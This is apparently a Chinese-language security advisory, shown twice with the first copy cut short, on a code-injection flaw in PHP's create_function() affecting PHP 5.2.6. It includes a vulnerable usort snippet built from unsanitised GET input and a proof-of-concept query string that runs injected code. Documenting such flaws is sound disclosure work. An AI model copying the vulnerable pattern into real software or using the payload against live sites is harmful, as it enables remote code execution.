BUGTRAQ ID: 31398 CNCAN ID:CNCAN-2008092610 PHP是一款流行的WEB编程语言。 PHP不正确过滤传递给'create_function()'的输入,远程攻击者可以利用漏洞以特权应用程序权限执行任意代码。 PHP使用create_function函数用于CREATE一个匿名函数: 1,使用create_function()建立一个匿名函数: <?php $newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);'); echo "New anonymous function: $newfunc\n"; echo $newfunc(2, M_E) . "\n"; // outputs // New anonymous function: lambda_1 // ln(2) + ln(2.718281828459) = 1.6931471805599 ?> 80sec发现这个函数可注入命令,可不需要建立一个lambda形式函数来直接执行PHP代码,这在不能调用函数但能建立函数的情况下非常有用,代码如下: <?php $sort_by=stripslashes($_GET[sort_by]); $databases=array(”test”); $sorter = ‘var_dump’; $sort_function = ‘ return ‘ . ($sort_order == ‘ASC’ ? 1 : -1) . ‘ * ‘ . $sorter . ‘($a["' . $sort_by . '"], $b["' . $sort_by . '"]); ‘; usort($databases, create_function(’$a, $b’, $sort_function)); ?> 如上可以建立函数,但是因为$databases只有一个值,函数将不被调用,因此注入的代码不能被执行,但是提供如下输入: test.php?sort_by="]);}phpinfo();/*...
BUGTRAQ ID: 31398 CNCAN ID:CNCAN-2008092610 PHP是一款流行的WEB编程语言。 PHP不正确过滤传递给'create_function()'的输入,远程攻击者可以利用漏洞以特权应用程序权限执行任意代码。 PHP使用create_function函数用于CREATE一个匿名函数: 1,使用create_function()建立一个匿名函数: <?php $newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);'); echo "New anonymous function: $newfunc\n"; echo $newfunc(2, M_E) . "\n"; // outputs // New anonymous function: lambda_1 // ln(2) + ln(2.718281828459) = 1.6931471805599 ?> 80sec发现这个函数可注入命令,可不需要建立一个lambda形式函数来直接执行PHP代码,这在不能调用函数但能建立函数的情况下非常有用,代码如下: <?php $sort_by=stripslashes($_GET[sort_by]); $databases=array(”test”); $sorter = ‘var_dump’; $sort_function = ‘ return ‘ . ($sort_order == ‘ASC’ ? 1 : -1) . ‘ * ‘ . $sorter . ‘($a["' . $sort_by . '"], $b["' . $sort_by . '"]); ‘; usort($databases, create_function(’$a, $b’, $sort_function)); ?> 如上可以建立函数,但是因为$databases只有一个值,函数将不被调用,因此注入的代码不能被执行,但是提供如下输入: test.php?sort_by="]);}phpinfo();/* phpinfo会在没有调用函数的情况下执行。 PHP 5.2.6 目前没有解决方案提供: <a href=http://www.php.net/ target=_blank>http://www.php.net/</a>